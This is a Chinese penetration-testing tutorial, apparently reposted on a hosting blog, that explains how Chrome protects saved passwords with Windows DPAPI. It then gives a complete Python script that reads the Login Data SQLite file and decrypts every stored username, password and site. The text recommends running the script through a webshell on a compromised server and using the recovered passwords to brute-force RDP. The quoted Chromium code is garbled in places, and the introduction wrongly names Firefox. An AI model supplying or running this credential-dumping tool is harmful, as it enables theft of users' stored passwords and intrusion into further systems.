密码破解之Chrome浏览器存储密码获取

在我们实战渗透内网过程中,经常会因为各种各样的密码破解问题而发愁。相对于外网来说,内网安全是较为脆弱的,因为大量的密码被重复使用,而如何获得这些非常有价值的密码,很可能就是一次渗透能否成功的关键。

[[163716]]

我们来详细分析一下,如何针对火狐浏览器自动保存的密码进行获取,并完成相应的程序编写。

一、关于Chrome浏览器密码存储机制:

谷歌浏览器加密后的密钥存储于%APPDATA%\..\Local\Google\Chrome\User Data\Default\Login Data”(这里的APPDATA是由系统or用户环境变量决定的)下的一个SQLite数据库中。那么他是如何加密的呢,通过开源的Chromium,我们来一探究竟:

首先,我们作为用户登录一个网站时,会在表单提交Username以及Password相应的值,Chrome会首先判断此次登录是否是一次成功的登录,部分判断代码如下:

  1. Provisional_save_manager_->SubmitPassed();  
  2.     if (provisional_save_manager_->HasGeneratedPassword())  
  3.         UMA_HISTOGRAM_COUNTS(“PasswordGeneration.Submitted”, 1);  
  4.     If (provisional_save_manager_->IsNewLogin() && !provisional_save_manager_->HasGeneratedPassword()){  
  5.         Delegate_->AddSavePasswordInfoBarIfPermitted(  
  6.         Provisional_save_manager_.release());  
  7. else {  
  8. provisional_save_manager_->Save();  
  9. Provisional_save_manager_.reset();  
  10. }  

当我们登录成功时,并且使用的是一套新的证书(也就是说是***次登录该网站),Chrome就会询问我们是否需要记住密码。

那么登录成功后,密码是如何被Chrome存储的呢?

答案在EncryptedString函数,通过调用EncryptString16函数,代码如下:

  1. Bool Encrypt::EncryptString(const std::string& plaintext,std::string* ciphertext) {  
  2.     DATA_BLOB input;  
  3.     Input.pbData = static_cast<DWORD>(plaintext.length());  
  4.       
  5.     DATA_BLOB output;  
  6.     BOOL result = CryptProtectData(&input, L””,NULLNULLNULL, 0,&output);  
  7.     If (!result)  
  8.         Return false;  
  9. //复制操作  
  10. Ciphertext->assign(reinterpret_cast<std::string::value_type*>(output.pbData);  
  11.  
  12. LocalFree(output.pbData);  
  13. Return true;  
  14. }  

代码***利用了Widows API函数CryptProtectData(请记住这个函数,因为后面会提到它)来加密。当我们拥有证书时,密码就会被回复给我们使用。

在我们得到服务器权限后,证书的问题已经不用考虑了,所以下一步,我们解决如何获得这些密码。

二、编写脚本跑出Chrome浏览器保存的密码

因为考虑到在大多数情况下,并不能远程登录到服务器上执行GUI的程序,所以做个Python脚本跑一下是***选择,唯一的缺点是如果WINDOWS不支持PYTHON环境,Python打包成EXE文件的话会比较大。

下面考虑代码部分,因为用户不同所在用户的文件夹就不同,需要知道LOGIN DATA文件的具体路径,所以我们需要python中的os.environ从环境变量中读取LOCALAPPDATA的路径,剩下的路径是谷歌默认生成。

获取LOGINDATA文件的写法为:

  1. google_path = r’ Google\Chrome\User Data\Default\Login Data’  
  2. file_path = os.path.join(os.environ[‘LOCALAPPDATA’],google_path)  
  3.  
  4. #Login Data文件可以利用python中的sqlite3库来操作。  
  5. conn = sqlite3.connect(file_path)  
  6. for row in conn.execute('select username_value, password_value, signon_realm from logins'):  
  7. #利用Win32crpt.CryptUnprotectData来对通过加密的密码进行解密操作。  
  8.     cursor = conn.cursor()  
  9. cursor.execute('select username_value, password_value, signon_realm from logins')  
  10.  
  11. #接收全部返回结果  
  12. for data in cursor.fetchall():  
  13. passwd = win32crypt.CryptUnprotectData(data[1],None,None,None,0)  
  14. #利用win32crypt.CryptUnprotectData解密后,通过输出passwd这个元组中内容,可以逐一得到Chrome浏览器存储的密码。  

这里我们用到了CryptUnprotectData这个函数,与之对应的是我们上文提到的CryptProtectData,理论上来说CryptProtectData加密的文本内容,都可以通过CryptUnprotectData函数来解密。对其他服务的解密方式,大家可以自行尝试。

三、完成实验脚本

脚本完整代码如下:

  1. #coding:utf8  
  2. import os, sys  
  3. import sqlite3  
  4. import win32crypt  
  5.  
  6.  
  7. google_path = r'Google\Chrome\User Data\Default\Login Data' 
  8.  
  9.  
  10. db_file_path = os.path.join(os.environ['LOCALAPPDATA'],google_path)  
  11. conn = sqlite3.connect(db_file_path)  
  12. cursor = conn.cursor()  
  13. cursor.execute('select username_value, password_value, signon_realm from logins')  
  14.  
  15. #接收全部返回结果  
  16. for data in cursor.fetchall():  
  17.     passwd = win32crypt.CryptUnprotectData(data[1],None,None,None,0)  
  18.       
  19.     if passwd:  
  20.         print '-------------------------' 
  21.         print u'[+]用户名: ' + data[0]   
  22.         print u'[+]密码: ' + passwd[1]   
  23.         print u'[+]网站URL: ' + data[2]  

效果如下:

 

当然,在取得服务器webshell的情况下,如果有执行权限但无法提权,可以利用这种方法挖掘密码,进而再利用社工思路对服务器RDP服务密码进行暴力破解。

如果Webshell不能回显,可以用类似getpass一样的方式,导出到文本中。

Python chrome.py > 1.txt

(提示:导出过程中,输出中文可能会报错,建议换成英文导出。)

注意:在用户打开Chrome时,Login Data文件是被上锁的,如果这时想要对其进行读取操作,可以将Login Data文件复制到临时目录进行读取操作。

文章来源网络,作者:管理,如若转载,请注明出处:https://shuyeidc.com/wp/122964.html<

(0)
管理的头像管理
上一篇2025-02-22 14:20
下一篇 2025-02-22 14:21

相关推荐

  • jsp空间购买和交换数据空间怎么买,有哪些注意事项?

    购买JSP空间时,是否考虑过数据交换空间的性能?简米科技(2003年始创,23年行业沉淀)与酷番云(工信部一类增值电信全牌照)这类持牌自营机房的服务商,能确保数据交换的高效稳定,是值得优先选择的合作伙伴,为什么JSP空间需要搭配独立的数据交换空间从JSP应用特性看数据交换需求JSP基于Java技术,常用于企业级……

    2026-08-11
    0
  • 建网站用香港空间效果怎么样,香港空间稳定吗?

    建网站用香港空间,对于创建网站资产来说,核心价值在于免备案和全球带宽优势,尤其适合外贸、跨境电商和需要快速启动的项目,但你必须权衡国内访问延迟,并选择有资质的服务商以保证资产安全,香港空间的核心优势与适用边界免备案:节省时间就是节省成本国内服务器需要备案,通常需要10到20天,香港空间无需备案,域名解析后即可上……

    2026-08-11
    0
  • Java连接云数据库的方法是什么,如何操作

    Java连接云数据库的核心在于通过JDBC驱动,结合云服务商提供的连接地址、端口、数据库名及认证信息,配置安全策略(如SSL、IP白名单),即可实现稳定高效的远程数据库访问,基础准备:JDBC驱动与依赖管理连接云数据库前,需要确保开发环境具备对应的JDBC驱动,以最常见的MySQL为例,你需要引入mysql-c……

    2026-08-11
    0
  • 建网站公安联网备案必须使用数据码吗,备案流程是什么

    网站备案包括ICP备案和公安联网备案,两者缺一不可,公安联网备案必须使用服务商提供的数据码,选择持有合法资质的服务商是顺利通过备案的前提,为什么网站必须进行公安联网备案根据公安部《计算机信息网络国际联网安全保护管理办法》,网站开通后30日内必须到公安机关办理备案手续,未完成公安备案的网站,面临责令整改、关闭网站……

    2026-08-10
    0
  • 建一个企业网站大概需要多少钱?,怎么收费?

    建网站要多少钱,没有一个固定的数字,几百到几万都可能,但真正的“创建网站资产”绝不仅仅是初次投入的成本,而是基于长期稳定、合规和安全的持续性投入,其中核心取决于你选择了什么样的“地基”来承载你的业务,建站预算的构成与行业基准当你开始规划一个网站,最先面对的就是预算问题,一个常见的误区是只关注网站“看起来”的建造……

    2026-08-10
    0

发表回复

您的邮箱地址不会被公开。必填项已用 * 标注